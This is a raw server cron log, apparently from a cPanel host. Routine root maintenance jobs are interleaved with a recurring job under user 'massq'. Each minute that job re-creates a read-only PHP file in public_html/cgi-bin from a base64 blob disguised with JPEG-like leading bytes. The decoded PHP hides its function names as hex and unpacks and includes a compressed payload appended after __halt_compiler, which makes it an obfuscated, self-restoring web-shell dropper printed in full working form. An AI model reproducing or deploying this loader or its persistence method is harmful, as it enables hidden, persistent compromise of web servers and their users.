Aug 30 15:05:01 server CROND[17264]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:05:01 server CROND[17263]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:05:01 server CROND[17265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:05:01 server CROND[17268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:05:01 server CROND[17266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:06:01 server CROND[18098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:06:01 server CROND[18099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:06:01 server CROND[18100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:07:01 server CROND[18473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:07:01 server CROND[18474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:07:01 server CROND[18472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:08:01 server CROND[18842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:08:01 server CROND[18844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:08:01 server CROND[18845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:09:01 server CROND[19380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:09:01 server CROND[19381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:09:01 server CROND[19382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:09:01 server CROND[19383]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 15:10:02 server CROND[19777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:10:02 server CROND[19779]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:10:02 server CROND[19781]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:10:02 server CROND[19776]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:10:02 server CROND[19782]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:10:02 server CROND[19784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:10:02 server CROND[19785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:10:02 server CROND[19783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:11:01 server CROND[20625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:11:01 server CROND[20626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:11:01 server CROND[20627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:12:01 server CROND[21054]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 15:12:01 server CROND[21055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:12:01 server CROND[21056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:12:01 server CROND[21057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:13:01 server CROND[21428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:13:01 server CROND[21429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:13:01 server CROND[21430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:14:01 server CROND[21919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:14:01 server CROND[21920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:14:01 server CROND[21921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:15:01 server CROND[22470]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:15:01 server CROND[22471]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:15:01 server CROND[22474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:15:01 server CROND[22472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:15:01 server CROND[22473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:15:01 server CROND[22478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:15:01 server CROND[22475]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:15:01 server CROND[22476]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 15:16:01 server CROND[23490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:16:01 server CROND[23492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:16:01 server CROND[23493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
